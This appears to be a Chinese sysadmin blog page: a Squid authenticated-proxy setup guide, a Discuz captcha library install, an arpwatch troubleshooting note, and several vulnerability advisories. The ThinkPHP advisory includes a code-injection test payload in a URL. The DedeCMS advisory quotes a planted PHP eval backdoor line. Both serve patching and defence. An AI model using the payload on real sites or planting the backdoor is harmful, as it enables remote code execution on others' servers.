Skip to content


Squid带验证(NCSA)的透明代理

NCSA验证辅助器相对流行,这归咎于它的简单性和历史原因。它将用户名和密码存储在一个单独的文本文件里,类似于Unix的/etc/passwd文件。这个密码文件格式最初是作为NCSA HTTP服务器项目的一部分发展而来的。在squid.conf里,只须指定密码文件的路径作为程序的单一命令行参数。squid已经发布到squid 3.x,这里仍然使用相对稳定的squid-2.6.STABLE23

一.安装squid
wget http://www.squid-cache.org/Versions/v2/2.6/squid-2.6.STABLE23.tar.gz
tar zxvf squid-2.6.STABLE23.tar.gz
cd squid-2.6.STABLE23

编译优化参考
http://en.gentoo-wiki.com/wiki/Safe_Cflags/Intel#Core_2_Duo.2FQuad.2C_Xeon_51xx.2F53xx.2F54xx.2F3360.2C_Pentium_Dual-Core_T23xx.2B.2FExxxx.2C_Celeron_Dual-Core

gcc –version
gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50)

CHOST=”x86_64-pc-linux-gnu”
CFLAGS=”-march=core2 -mtune=generic -O2 -pipe”
CXXFLAGS=”${CFLAGS}”

export CHOST=”x86_64-pc-linux-gnu”
export CFLAGS=”-march=core2 -mtune=generic -O2 -pipe”
export CXXFLAGS=”${CFLAGS}”


ulimit -HSn 65536


./configure –prefix=/opt/squid-2.6.STABLE23 –with-maxfd=65536 –with-pthreads –enable-dlmalloc –enable-poll –enable-useragent-log –enable-referer-log –with-large-files –enable-default-err-language=Simplify_Chinese –enable-err-languages=”Simplify_Chinese English” –disable-internal-dns –enable-auth=”basic” –enable-basic-auth-helpers=NCSA
make
make install

NCSA认证需加编译时加上–enable-auth=”basic” –enable-basic-auth-helpers=NCSA

二.配置squid.conf文件
配置软链接方便管理

cd /opt/
ln -s ./squid-2.6.STABLE23 ./squid

去除squid配置文件的注释

cat /opt/squid/etc/squid.conf
cat /opt/squid/etc/squid.conf.default |grep -v ^# |grep -v ^$ > /opt/squid/etc/squid.conf

或者编辑个新的,对外3128端口
vi /opt/squid/etc/squid.conf

#squid信息
visible_hostname proxy
#联系人
cache_mgr administrator
http_port 3128 transparent

# 单机
icp_port 0

# 分配给squid的内存
cache_mem 500 MB

cache_swap_low 90
cache_swap_high 95

# 超过此值不被缓存
maximum_object_size 500 KB

# 装入内存的文件大小上限
maximum_object_size_in_memory 200 KB

# 缓存类型,缓存目录,大小,一二级目录
cache_dir ufs /opt/squid/spool 4000 16 256

# 支持header的vary
cache_vary on

# 进程文件
pid_filename /var/log/squid/squid.pid

# 使用apache格式日志
emulate_httpd_log on

# 日志;设none可禁用
logformat combined %>a %ui %un [%tl] “%rm %ru HTTP/%rv” %Hs %h” “%{User-Agent}>h” %Ss:%Sh

cache_store_log none
cache_log /var/log/squid/cache.log
access_log /var/log/squid/access.log combined
#access_log none

auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd
acl auth_user proxy_auth REQUIRED

acl all src 0.0.0.0/0.0.0.0
acl manager proto cache_object
acl localhost src 127.0.0.1/255.255.255.255
acl to_localhost dst 127.0.0.0/8

acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 1025-65535 # unregistered ports
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT

hierarchy_stoplist cgi-bin ?
acl QUERY urlpath_regex cgi-bin \?
cache deny QUERY

#不要相信ETag 因为有gzip
acl apache rep_header Server ^Apache
broken_vary_encoding allow apache

http_access allow manager localhost
http_access deny manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports

#只充许认证用户
http_access allow auth_user

http_access deny all
#icp_access allow all

cachemgr_passwd disable config shutdown authenticator offline_toggle
#cachemgr_passwd none info stats/objects
#cachemgr_passwd secretPP all

# ip限制
#acl OverConnLimit maxconn 16
#http_access deny OverConnLimit

#squid使用的用户组和用户
cache_effective_user nobody
cache_effective_group nobody
tcp_recv_bufsize 65535 bytes

# 隐藏squid的版本信息
header_access Via deny all
#显示服务器的ip,隐藏真实客户ip
header_access X-Forwarded-For deny all

coredump_dir /opt/squid-2.6.STABLE23/var/cache

# 出错提示
error_directory /opt/squid/share/errors/Simplify_Chinese

三.相关目录

mkdir /opt/squid/spool
chown nobody:nobody /opt/squid/spool
mkdir /var/log/squid
chown nobody /var/log/squid

初始化
/opt/squid/sbin/squid -z

2011/04/13 17:29:54| Creating Swap Directories

启动
/opt/squid/sbin/squid -s

四,squid常用命令
1,初始化你在 squid.conf 里配置的 cache 目录
#squid/sbin/squid -z
如果有错误提示,请检查你的 cache目录的权限。
2,对你的squid.conf 排错,即验证 squid.conf 的 语法和配置。
#squid/sbin/squid -k parse
如果squid.conf 有语法或配置错误,这里会返回提示你,如果没有返回,恭喜,可以尝试启动squid。
3,在前台启动squid,并输出启动过程。
#squid/sbin/squid -N -d1
如果有到 ready to server reques,恭喜,启动成功。
然后 ctrl + c,停止squid,并以后台运行的方式启动它。
4,启动squid在后台运行。
#squid/sbin/squid -s
这时候可以 ps -A 来查看系统进程,可以看到俩个 squid 进程。
5,停止 squid
#squid/sbin/squid -k shutdown
这个不用解释吧。
6,重引导修改过的 squid.conf
#squid/sbin/squid -k reconfigure
这个估计用的时候比较多,当你发现你的配置有不尽你意的时候,可以随时修改squid.conf,然后别忘记对你的 squid.conf排错,然后再执行此指令,即可让squid重新按照你的 squid.conf 来运行。
7,把squid添加到系统启动项
编辑 /etc/rc.d/rc.local
添加如下行:
echo “65535″>/proc/sys/fs/file-max
ulimit -HSn 65535
/opt/squid/sbin/squid -s
当然,并不是每个人都喜欢这种启动方式,你可以用你最习惯的方式;或者把它安装为服务。

#查看运行信息
/opt/squid/bin/squidclient -h 127.0.0.1 -p 3128 mgr:info

#crontab分割日志
20 0 * * * /opt/squid/sbin/squid -k rotate

五.iptables
添加3128为进入充许,INPUT为链名
iptables -A INPUT -p tcp -m tcp –dport 3128 -j ACCEPT
保存iptables
/etc/init.d/iptables save

六.NCSA认证用户
生成用户及密码
htpasswd -c /opt/squid/etc/passwd user_c1g
添加用户
htpasswd /opt/squid/etc/passwd user_andy
修改用户密码可以vi编辑删除后再添加

七.htpasswd获取
htpasswd的获取有点麻烦,可以编译个apache来得到,在bin目录下有这个文件

wget http://apache.etoak.com/httpd/httpd-2.2.22.tar.gz
tar zxvf httpd-2.2.22.tar.gz
cd httpd-2.2.22
./configure –preifx=/opt/httpd
make
make install
#移动文件
cp /opt/httpd/bin/htpasswd /opt/squid/libexec/
#删除apache
rm -rf /opt/httpd

八.浏览器上配置代理
傲游可以写入用户和密码,支持黑名单
firefox加Foxyproxy标准版,支持黑白名单但不能写入密码
360,ie,chrome相对不够方便点

九.去除验证的透明代理
squid.conf中去掉NCSA认证就是个透明代理

acl auth_user proxy_auth REQUIRED
auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd
http_access allow auth_user

#把deny 改成allow

http_access deny all

参考:squid权威指南

Posted in Squid/varnish.

Tagged with , .


安装discuz启用flash验证码需要的ming库

近日不断有人换ip来暴力猜discuz密码,开启验证码机制可以减少成功率.

让php支持flash需安装ming库
http://www.libming.org/
当前最新版为ming-0.4.4

一.安装ming

wget http://cdnetworks-kr-1.dl.sourceforge.net/project/ming/Releases/ming-0.4.4.tar.gz
tar zxvf ming-0.4.4.tar.gz
cd ming-0.4.4
./configure
make
make install

二.安装php扩展
进入到php源码目录
/opt/php 为 /opt/php-5.2.17p1 的软链接


cd /home/c1g/src/php-5.2.17/ext/ming
/opt/php/bin/phpize
Configuring for:
PHP Api Version: 20041225
Zend Module Api No: 20060613
Zend Extension Api No: 220060519

./configure –with-php-config=/opt/php/bin/php-config
make
make install

查看是否生成ming.so
ll /opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/
-rwxr-xr-x 1 root root 367094 Apr 13 13:14 ming.so

三.配置php.ini
在php.ini中指定好扩展的目录和需加载的库
vi /opt/php/etc/php.ini

extension_dir = “/opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/”
extension = “ming.so”

重启php
/opt/php/sbin/php-fpm reload

在phpinfo中可以看到

Ming SWF output library enabled
Version 0.4.4

或用命令行查看
/opt/php/bin/php -m

[PHP Modules]
bcmath
ctype
curl
date
dom
eAccelerator
filter
gd
hash
iconv
imagick
json
libxml
mbstring
mcrypt
memcache
mhash
ming
mysql
mysqli
openssl
pcntl
pcre
PDO
pdo_sqlite
posix
Reflection
session
shmop
SimpleXML
soap
sockets
SPL
SQLite
standard
sysvsem
tokenizer
xml
xmlreader
xmlrpc
xmlwriter
Zend Optimizer
zip
zlib

[Zend Modules]
Zend Optimizer
eAccelerator

四,discuz设置
discuz后台->全局->防灌水设置 设置开启Flash 验证码
用户->用户组->游客及相关用户组 启用防灌水验证码或验证问答机制
注意:用户权限一定要设置

参考:phpize不重新编译PHP实现扩展的安装

Posted in Discuz/Uchome/Ucenter, PHP.

Tagged with , , .


ThinkPhp web框架 php代码任意执行漏洞

漏洞版本:
ThinkPHP
漏洞描述:
ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架

ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
index.php/module/action/param1/${@print(THINK_VERSION)}
安全建议:
用户可下载官方发布的补丁:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
或者或者直接修改源码:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
$res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\\1\’]=”\\2″;’, implode($depr,$paths));
修改为
$res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\\1\’]=”\\2′;’, implode($depr,$paths));
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

来自sebug.net

Posted in 安全通告, 技术.

Tagged with , .


Oracle MySQL Server两个不明细节本地漏洞

发布时间: 2012-04-09
漏洞版本:
Oracle MySQL 5.x
漏洞描述:
MySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQLAB公司,在2008年1月16号被Sun公司收购。

Oracle MySQL在实现上存在两个安全漏洞,可被本地利用造成一定的影响。
<* 参考 http://dev.mysql.com/doc/refman/5.5/en/news-5-5-22.html *>
安全建议:
厂商补丁:

Oracle
——
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com/technetwork/topics/security/

Posted in Mysql, 安全通告.


ImageMagick拒绝服务漏洞

发布时间: 2012-04-09
更新时间: 2012-04-09
危害等级: 中危
漏洞类型:
威胁类型: 远程
CVE编号: CVE-2012-0259

ImageMagick是一款Unix/Linux平台下开源的图像查看和编辑工具。
ImageMagick中存在拒绝服务漏洞,该漏洞源于在解析一个组件计数(components count)为0的JPEG EXIF 标签时“GetEXIFProperty()”函数(magick/property.c)中的一个错误。攻击者可利用该漏洞借助特制的JPEG图片,访问未初始化的或无效的内存。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
http://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=20629
http://www.cert.fi/en/reports/2012/vulnerability635606.html

来源:www.imagemagick.org
链接:http://www.imagemagick.org/discourse-server/viewtopic.php?f=4&t=20629

来源:www.cert.fi
链接:http://www.cert.fi/en/reports/2012/vulnerability635606.html

来源:seclists.org
链接:http://seclists.org/oss-sec/2012/q2/19

来源:SECUNIA
名称:48679
链接:http://secunia.com/advisories/48679

Posted in Imagemagick, 安全通告.

Tagged with , .


libpng ‘png_set_text_2()’ 内存破坏漏洞

发布时间: 2012-04-01
更新时间: 2012-04-01
危害等级: 高危
漏洞类型:
威胁类型: 远程
CVE编号: CVE-2011-3048

libpng是多种应用程序所使用的解析PNG图形格式的函数库。
Libpng中存在漏洞,此漏洞源于在解析某些文本块时”png_set_text_2()”函数中的错误。攻击者可利用该漏洞借助特制PNG文件损坏栈内存,成功利用该漏洞可能导致执行任意代码。libpng 1.5.10之前版本、1.4.11版本、1.2.49版本和1.0.59版本中存在该漏洞。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
http://www.libpng.org/pub/png/src/libpng-1.5.10-README.txt

来源:www.libpng.org
链接:http://www.libpng.org/pub/png/src/libpng-1.5.10-README.txt

来源:SECUNIA
名称:48587
链接:http://secunia.com/advisories/48587

Posted in 安全通告.

Tagged with , .


phpMyAdmin敏感信息泄露漏洞

phpMyAdmin是一个免费的WWW界面的mysql数据库管理工具。
phpMyAdmin 3.4.10.2之前的3.4.x版本中的show_config_errors.php中存在漏洞。当配置文件不存在时,远程攻击者可借助一个直接请求获取敏感信息(泄露关于丢失文件的安装路径的错误消息)。

Lempelf用的是phpMyAdmin 3.4.10.1 注意要升级了

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
http://www.mandriva.com/en/downloads/

来源: github.com
链接:https://github.com/phpmyadmin/phpmyadmin/commit/c51817d3b8cb05ff54dca9373c0667e29b8498d4

来源: www.phpmyadmin.net
链接:http://www.phpmyadmin.net/home_page/security/PMASA-2012-2.php

Posted in 安全通告.

Tagged with , .


织梦(DedeCMS)后门远程代码执行漏洞

DEDECMS是织梦内容管理系统,国内一款基于PHP+MySQL的技术开发的,支持多种服务器平台的PHP网站内容管理系统。

DedeCMS某些版本/include/shopcar.class.php文件中,被添加后门代码,远程未验证的攻击者利用该后门可以执行任意命令。
DedeCMS V5.7 SP1正式版

UTF-8 GBK版本疑似被植入一句话后门
shopcar.class.php被植入一句话@eval(file_get_contents(‘php://input’));

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

*直接找到站点include目录下shopcar.class.php文件,去掉里面的代码
@eval(file_get_contents(‘php://input’));即可。

http://www.wooyun.org/bugs/wooyun-2010-05416

Posted in 安全通告.

Tagged with , .


Microsoft Windows远程桌面协议3389代码执行漏洞

Microsoft Windows是微软发布的非常流行的操作系统。
Microsoft Windows XP SP2与SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2及R2 SP1,与Windows 7 Gold与SP1版本中的远程桌面协议(RDP)实现中存在漏洞,该漏洞源于没有正确处理内存中的数据包。远程攻击者可通过发送特制RDP数据包触发访问(1)没有正确初始化或者(2)已被删除的对象,执行任意代码。也称‘Remote Desktop Protocol Vulnerability’。
该漏洞已有修复补丁,如果未能及时安装补丁可采取以下临时修复措施:
方法一:禁用终端服务、远程桌面、远程协助和 Windows Small Business Server 2003 远程工作网站功能;
方法二:在企业周边防火墙中屏蔽TCP端口3389;
方法三:在运行 Windows Vista、Windows 7、Windows Server 2008 和 Windows Server 2008 R2 的受支持版本的系统上启用网络级别身份验证。

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
http://technet.microsoft.com/zh-cn/security/bulletin/ms12-020

来源: MS
名称: MS12-020
链接:http://technet.microsoft.com/security/bulletin/MS12-020

来源:SECUNIA
名称:48353
链接:http://secunia.com/advisories/48353

Posted in 安全通告.


DELL R410远程管理ip引起的arp问题

arpwatch 命令: 跟踪以太网地址和IP地址配对情况,通过E-mail的形式报告当前的变化。arpwatch使用pcap来监听本网卡和ARP数据包
参数

-d 输出调试信息
-N 使报告不能正常进行
-f<文件> 监听的ARP记录
-i<网卡接口> 指定监听的网卡
-n 指定附加的本地网络
-r<文件> 不从网络上监听ARP信息,而是从文件中读取ARP的记录信息
-u 指定用户和用户组
-e 发送邮件给指定用户,非默认的root用户
-s 指定用户名作为返回地址,而不是默认的用户root

【系统报告信息】

ethernet broadcast :主机的MAC地址是广播地址
ip broadcast :主机的IP地址是广播地址
bogon :源IP地址不是本地子网地址
ethernet mismatch :源MAC地址与ARP数据包里面的地址不匹配
reused old ethernet address :MAC 地址发送变化
suppressed DECnet flip flop :禁止“flip flop”报告

本地的内网为192.168.0.0/24
服务器dell r410
系统centos5.x centos6.x

开启arpwatch
#arpwatch

#tail -f /var/log/messages

Apr 1 11:58:06 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41
Apr 1 11:58:11 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62
Apr 1 11:58:23 c1g arpwatch: bogon 192.168.0.283 83:22:d6:a1:ad:31
Apr 1 11:58:29 c1g arpwatch: new station 220.188.155.1 0:23:e2:e1:ff:82
Apr 1 11:58:29 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:49:bc:79
Apr 1 11:58:31 c1g arpwatch: bogon 192.168.0.120 c4:ca:d9:b6:4f:8
Apr 1 11:58:33 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3:ef:30
Apr 1 11:58:37 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41
Apr 1 11:58:41 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62
Apr 1 11:58:59 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:49:bc:79
Apr 1 11:59:04 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3:ef:30
Apr 1 11:59:07 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41
Apr 1 11:59:11 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62

bogon 表示源IP地址不是本地子网地址
多台机器日志中都可以查到多个mac地址占用192.168.0.120
192.168.0.120这个ip我并没有配过
很奇怪的是mac就固定的这几个,不像是arp攻击

Apr 1 11:58:31 c1g arpwatch: bogon 192.168.0.120 c4:ca:d9:b6:4f:8
Apr 1 11:58:59 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:49:bc:79
Apr 1 11:59:04 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3:ef:30
Apr 1 11:59:07 c1g arpwatch: bogon 192.168.0.120 0:62:b9:5c:a4:41
Apr 1 11:59:11 c1g arpwatch: bogon 192.168.0.120 98:2b:cb:3d:37:62

仔细对比的日志中的mac地址和现用的eth1相差一位;
联想到手上的一台r410启动时好像出现过192.168.0.120这个ip;
查了下资料dell的远程管理ip地址默认为192.168.0.120;
立马测试了下,在启动到SAS后,按ctrl+c进入IP管理disabled此项
再启动后就少了这个mac地址,证明有效

Posted in IDC, Linux 命令, 安全.

Tagged with , , , .